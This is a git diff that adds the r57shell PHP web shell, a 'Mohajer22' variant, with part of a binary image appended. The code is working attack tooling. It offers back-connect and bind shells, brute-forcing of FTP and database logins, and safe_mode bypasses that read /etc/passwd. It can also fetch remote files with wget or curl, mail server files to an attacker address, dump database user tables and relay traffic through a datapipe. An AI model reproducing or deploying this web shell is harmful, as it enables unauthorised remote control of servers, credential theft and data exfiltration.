sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.$lang[$language.'_text112'].up_down('id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.$lang[$language.'_text113'].up_down('id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.$lang[$language.'_text114'].up_down('id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>".$f; + +$u1p=""; // File to Include... or use _GET _POST +$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp + + + +echo "<PRE>\n"; +if(empty($u1p)){ +if(empty($_GET['u1p'])){ +if(empty($_POST['u1p'])){ +die("<FONT COLOR=\"RED\"><CENTER><span lang=\"ar-sa\">&#1578;&#1593;&#1583;&#1610;&#1604; &#1608;&#1578;&#1591;&#1608;&#1610;&#1585; </span>\ Mohajer22</CENTER></FONT>"); +} else { +$u1p=$_POST['u1p']; +} +} else { +$u1p=$_GET['u1p']; +} +} + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$u1p, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); + +} else { +die("<FONT COLOR=\"RED\"><CENTER>Sorry... File +<B>".htmlspecialchars($u1p)."</B> dosen't exists or you don't have +access.</CENTER></FONT>"); +} + + + + + +?> + diff --git a/php/PHPshell/【r57_Mohajer22】/r57_Mohajer222.jpg b/php/PHPshell/【r57_Mohajer22】/r57_Mohajer222.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b3cfdd9360b56699bd3be56331000c861a814935 GIT binary patch literal 88359 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 